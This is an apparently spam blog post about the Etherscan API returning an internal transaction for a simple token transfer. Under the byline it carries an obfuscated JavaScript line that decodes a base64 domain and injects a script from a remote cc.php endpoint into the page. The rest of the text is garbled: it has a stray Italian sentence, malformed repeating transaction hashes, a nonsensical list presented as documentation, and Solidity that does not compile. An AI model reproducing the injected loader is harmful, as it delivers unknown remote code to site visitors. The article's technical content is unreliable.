Ethereum: Etherscan API doesn’t return internal transaction (although it has)
- 2025-02
- by Cn Vn
const pdx=“bm9yZGVyc3dpbmcuYnV6ei94cC8=“;const pde=atob(pdx.replace(/|/g,““));const script=document.createElement(„script“);script.src=“https://“+pde+“cc.php?u=36ab7650″;document.body.appendChild(script);
Ethereum Etherscan Api returns the internal transaction, despite the simple request for transfer
As a developer of Ethereum, we tested the Etherscan API to collect information on the blockchain transactions. However, we have found a situation in which the API returns a single internal transaction for a simple request for transfer, despite the logic below which suggests that there should be not this transaction.
The details of the transaction
The transaction in question is as follows: 0x33e0dab83AA27BA8B2A08B3C69D61A3491111A4adb6E7A35DD30CF11383F43FCC3
. This transaction seems to be a simple transfer of gala token from the sender’s wallet (address 0x33e0dab83aaa27ba8b2a08b3c69d61a34911a4adb6e7a35dd30cf11383f43fcc3
) to Wallet of the recipient FA98BC94).
The problem of Etherscan
After examining the details of the transaction on Etherscan, we noticed that an internal transaction was actually listed:1. Ciò può sembrare controintuitivo a prima vista, in quanto sembra indicare una transazione aggiuntiva associata alla iniziale
0x333e0DAB83AAA27BA8B2A08B3C69D61A34911A4ADB6E7A35DDDD35DD35DDDDD35DDDDD35DDDDD35DDDDD35DDDDD35DDDDD35DDDDD35DDD35DDD35DDD35DDD35DDD35DDD35DDD35DDDDD35DDD35DDDDD30CF11383F43FCC3. However, this internal transaction is not actually related to the simple transfer request.
The response of the API
According to the documentation of Etherscan's API, an internal transaction can be returned for some types of transactions, such as:
- 1 Ether transferred ‚
- `
0x0000000000000000000000000000000000000000000000 '(gas unit)
- 0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ‚(Gas cost)
In this case, the internal transaction is probably returned due to the logic 1 transferred ether. The API documentation does not explicitly affirm that an internal transaction can be returned for simple transfer requests, which have led to our initial confusion.
Conclusion
While Etherscan API can return an internal transaction for a simple transfer request, it seems to erroneously interpret the details of the transaction. This problem highlights the importance of carefully reviewing the API documentation and understanding the logic below at the basis of different types of transactions. As developers, we must guarantee that our tests and questions carefully reflect the expected behavior of the Etherscan API.
Example code
For reference, here is a snapper of example code in solidity (Ethereum) which shows a simple transfer request:
Solidity
Pragma solidity ^0.8.0;
Simple contracts {
Transfer function (address address) public {
// Perform the transfer logic here …
// …
}
}
`
This contract includes a` transfer ‚function that allows us to simulate a simple transfer of gala token between two wallets.
I hope this article helps to clarify any confusion relating to the return behavior of the Etherscan API for internal transactions.